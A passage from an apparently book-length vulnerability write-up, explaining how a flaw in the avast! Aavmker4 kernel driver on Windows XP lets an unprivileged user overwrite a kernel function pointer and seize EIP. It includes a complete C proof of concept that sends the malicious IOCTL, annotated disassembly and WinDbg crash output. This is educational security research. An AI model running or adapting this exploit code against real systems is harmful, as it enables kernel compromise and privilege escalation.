To gain control of EIP
, I first had to find a suitable target address to overwrite. While searching through the IOCTL dispatch routine, I found two places where a function pointer is called:
[..] .text:00010D8F push 2 ; _DWORD .text:00010D91 push 1 ; _DWORD .text:00010D93 push 1 ; _DWORD .text:00010D95 push dword ptr [eax] ; _DWORD .text:00010D97 call KeGetCurrentThread .text:00010D9C push eax ; _DWORD.text:00010D9D call dword_12460 ; the function pointer is called
.text:00010DA3 mov [ebx+18h], eax .text:00010DA6 jmp loc_10F04 [..] .text:00010DB6 push 2 ; _DWORD .text:00010DB8 push 1 ; _DWORD .text:00010DBA push 1 ; _DWORD .text:00010DBC push edi ; _DWORD .text:00010DBD call KeGetCurrentThread .text:00010DC2 push eax ; _DWORD.text:00010DC3 call dword_12460 ; the function pointer is called
[..].data:00012460 ; int (__stdcall *dword_12460)(_DWORD,
_DWORD, _DWORD, _DWORD, _DWORD)
.data:00012460 dword_12460 dd 0 ; the function pointer is declared
[..]
The function pointer declared at .data:00012460
is called at .text:00010D9D
and .text:00010DC3
in the dispatch routine. To gain control over EIP
, all I had to do was overwrite this function pointer and then wait for it to be called. I wrote the following POC code to manipulate the function pointer:
Example 6-2. The POC code that I wrote to manipulate the function pointer at .data:00012460
(poc.c)
01 #include <windows.h> 02 #include <winioctl.h> 03 #include <stdio.h> 04 #include <psapi.h> 05 06 #define IOCTL 0xB2D60030 // vulnerable IOCTL 07 #define INPUTBUFFER_SIZE 0x878 // input data length 08 09 __inline void 10 memset32 (void* dest, unsigned int fill, unsigned int count) 11 { 12 if (count > 0) { 13 _asm { 14 mov eax, fill // pattern 15 mov ecx, count // count 16 mov edi, dest // dest 17 rep stosd; 18 } 19 } 20 } 21 22 unsigned int 23 GetDriverLoadAddress (char *drivername) 24 { 25 LPVOID drivers[1024]; 26 DWORD cbNeeded = 0; 27 int cDrivers = 0; 28 int i = 0; 29 const char * ptr = NULL; 30 unsigned int addr = 0; 31 32 if (EnumDeviceDrivers (drivers, sizeof (drivers), &cbNeeded) && 33 cbNeeded < sizeof (drivers)) { 34 char szDriver[1024]; 35 36 cDrivers = cbNeeded / sizeof (drivers[0]); 37 38 for (i = 0; i < cDrivers; i++) { 39 if (GetDeviceDriverBaseName (drivers[i], szDriver, 40 sizeof (szDriver) / sizeof (szDriver[0]))) { 41 if (!strncmp (szDriver, drivername, 8)) { 42 printf ("%s (%08x)\n", szDriver, drivers[i]); 43 return (unsigned int)(drivers[i]); 44 } 45 } 46 } 47 } 48 49 fprintf (stderr, "ERROR: cannot get address of driver %s\n", drivername); 50 51 return 0; 52 } 53 54 int 55 main (void) 56 { 57 HANDLE hDevice; 58 char * InputBuffer = NULL; 59 BOOL retval = TRUE; 60 unsigned int driveraddr = 0; 61 unsigned int pattern1 = 0xD0DEAD07; 62 unsigned int pattern2 = 0x10BAD0BA; 63 unsigned int addr_to_overwrite = 0; // address to overwrite 64 char data[2048]; 65 66 // get the base address of the driver 67 if (!(driveraddr = GetDriverLoadAddress ("Aavmker4"))) { 68 return 1; 69 } 70 71 // address of the function pointer at .data:00012460 that gets overwritten 72 addr_to_overwrite = driveraddr + 0x2460; 73 74 // allocate InputBuffer 75 InputBuffer = (char *)VirtualAlloc ((LPVOID)0, 76 INPUTBUFFER_SIZE, 77 MEM_COMMIT | MEM_RESERVE, 78 PAGE_EXECUTE_READWRITE); 79 80 ///////////////////////////////////////////////////////////////////////////// 81 // InputBuffer data: 82 // 83 // .text:00010DC9 mov esi, [ebx+0Ch] ; ESI == InputBuffer 84 85 // fill InputBuffer with As 86 memset (InputBuffer, 0x41, INPUTBUFFER_SIZE); 87 88 // .text:00010DE6 mov eax, [esi+870h] ; EAX == pointer to "data" 89 memset32 (InputBuffer + 0x870, (unsigned int)&data, 1); 90 91 ///////////////////////////////////////////////////////////////////////////// 92 // data: 93 // 94 95 // As the "data" buffer is used as a parameter for a "KeSetEvent" windows kernel 96 // function, it needs to contain some valid pointers (.text:00010E2C call ds:KeSetEvent) 97 memset32 (data, (unsigned int)&data, sizeof (data) / sizeof (unsigned int)); 98 99 // .text:00010DEF cmp dword ptr [eax], 0D0DEAD07h ; EAX == pointer to "data" 100 memset32 (data, pattern1, 1); 101 102 // .text:00010DF7 cmp dword ptr [eax+4], 10BAD0BAh ; EAX == pointer to "data" 103 memset32 (data + 4, pattern2, 1); 104 105 // .text:00010E18 mov edi, [eax+18h] ; EAX == pointer to "data" 106 memset32 (data + 0x18, addr_to_overwrite, 1); 107 108 ///////////////////////////////////////////////////////////////////////////// 109 // open device 110 hDevice = CreateFile (TEXT("\\\\.\\AavmKer4"), 111 GENERIC_READ | GENERIC_WRITE, 112 FILE_SHARE_READ | FILE_SHARE_WRITE, 113 NULL, 114 OPEN_EXISTING, 115 0, 116 NULL); 117 118 if (hDevice != INVALID_HANDLE_VALUE) { 119 DWORD retlen = 0; 120 121 // send evil IOCTL request 122 retval = DeviceIoControl (hDevice, 123 IOCTL, 124 (LPVOID)InputBuffer, 125 INPUTBUFFER_SIZE, 126 (LPVOID)NULL, 127 0, 128 &retlen, 129 NULL); 130 131 if (!retval) { 132 fprintf (stderr, "[-] Error: DeviceIoControl failed\n"); 133 } 134 135 } else { 136 fprintf (stderr, "[-] Error: Unable to open device.\n"); 137 } 138 139 return (0); 140 }
In line 67 of Example 6-2, the base address of the driver in memory is stored in driveraddr
. Then, in line 72, the address of the function pointer is calculated; this is overwritten by the manipulated memcpy()
call. A buffer of INPUTBUFFER_SIZE
(0x878
) bytes is allocated in line 75. This buffer holds the IOCTL input data, which is filled with the hexadecimal value 0x41
(see line 86). Then a pointer to another data array is copied into the input data buffer (see line 89). In the disassembly of the driver, this pointer is referenced at address .text:00010DE6
: mov eax, [esi+870h]
.
Directly after the call of the memcpy()
function, the kernel function KeSetEvent()
is called:
[..] .text:00010E10 add esi, 4 ; source address .text:00010E13 mov ecx, 21Ah ; length .text:00010E18 mov edi, [eax+18h] ; destination address .text:00010E1B rep movsd ; memcpy() .text:00010E1D dec PendingCount2 .text:00010E23 inc dword ptr [eax+20h] .text:00010E26 push edx ; Wait .text:00010E27 push edx ; Increment .text:00010E28 add eax, 8.text:00010E2B push eax ; Parameter of KeSetEvent
.text:00010E2B ; (eax = IOCTL input data)
.text:00010E2C call ds:KeSetEvent ; KeSetEvent is called
.text:00010E32 xor edi, edi [..]
Since the user-derived data pointed to by EAX
is used as a parameter for this function (see .text:00010E2B
), the data buffer needs to be filled with valid pointers in order to prevent an access violation. I filled the whole buffer with its own valid user space address (see line 97). Then in lines 100 and 103, the two expected patterns are copied into the data buffer (see .text:00010DEF
and .text:00010DF7
), and in line 106, the destination address for the memcpy()
function is copied into the data buffer (.text:00010E18 mov edi, [eax+18h]
). The device of the driver is then opened for reading and writing (see line 110), and the malicious IOCTL request is sent to the vulnerable kernel driver (see line 122).
After I developed that POC code, I started the Windows XP VMware guest system and attached WinDbg to the kernel (see Section B.2 for a description of the following debugger commands):
kd>.sympath SRV*c:\WinDBGSymbols*http://msdl.microsoft.com/download/symbols
kd>.reload
[..] kd>g
Break instruction exception - code 80000003 (first chance) ******************************************************************************* * * * You are seeing this message because you pressed either * * CTRL+C (if you run kd.exe) or, * * CTRL+BREAK (if you run WinDBG), * * on your debugger machine's keyboard. * * * * THIS IS NOT A BUG OR A SYSTEM CRASH * * * * If you did not intend to break into the debugger, press the "g" key, then * * press the "Enter" key now. This message might immediately reappear. If it * * does, press "g" and "Enter" again. * * * ******************************************************************************* nt!RtlpBreakWithStatusInstruction: 80527bdc cc int 3 kd>g
I then compiled the POC code with the command-line C compiler of Visual Studio (cl
) and executed it as an unprivileged user inside the VMware guest system:
C:\BHD\avast>cl /nologo poc.c psapi.lib
C:\BHD\avast>poc.exe
After I executed the POC code, nothing happened. So how could I find out if the function pointer was successfully manipulated? Well, all I had to do was trigger the antivirus engine by opening an arbitrary executable. I opened Internet Explorer and got the following message in the debugger:
#################### AAVMKER: WRONG RQ ######################! Access violation - code c0000005 (!!! second chance !!!) 41414141 ?? ???
Yes! The instruction pointer appeared to be under my full control. To verify this, I asked the debugger for more information:
kd>kb
ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong.ee91abc0 f7925da3 862026a8 e1cd33a8 00000001 0x41414141
ee91ac34 804ee119 86164030 860756b8 806d22d0 Aavmker4+0xda3 ee91ac44 80574d5e 86075728 861494e8 860756b8 nt!IopfCallDriver+0x31 ee91ac58 80575bff 86164030 860756b8 861494e8 nt!IopSynchronousServiceTail+0x70 ee91ad00 8056e46c 0000011c 00000000 00000000 nt!IopXxxControlFile+0x5e7 ee91ad34 8053d638 0000011c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a ee91ad34 7c90e4f4 0000011c 00000000 00000000 nt!KiFastCallEntry+0xf8 0184c4d4 650052be 0000011c b2d60034 0184ff74 0x7c90e4f4 0184ffb4 7c80b713 0016d2a0 00150000 0016bd90 0x650052be 0184ffec 00000000 65004f98 0016d2a0 00000000 0x7c80b713 kd>r
eax=862026a8 ebx=860756b8 ecx=b2d6005b edx=00000000 esi=00000008 edi=861494e8eip=41414141
esp=ee91abc4 ebp=ee91ac34 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 41414141 ?? ???
The exploitation process, illustrated in Figure 6-7, was as follows:
Is the length of the input data 0x878
? If so, proceed to step 2.
The user space buffer data
gets referenced.
Are the expected patterns found at data[0]
and data[4]
? If so, proceed to step 4.
The destination address for the memcpy()
call gets referenced.
The memcpy()
function copies the IOCTL input data into the .data
area of the kernel.
The manipulated function pointer gives full control over EIP
.
If the POC code is executed without a kernel debugger attached, the famed Blue Screen of Death (BSoD) will appear (see Figure 6-8).
After I gained control over EIP
, I developed two exploits. One of them grants SYSTEM rights to any requesting user (privilege escalation), and the other installs a rootkit into the kernel using the well-known Direct Kernel Object Manipulation (DKOM) technique.[72]
Strict laws prohibit me from providing a full, working exploit, but if you’re interested, you can watch a video of the exploit in action at the book’s website.[73]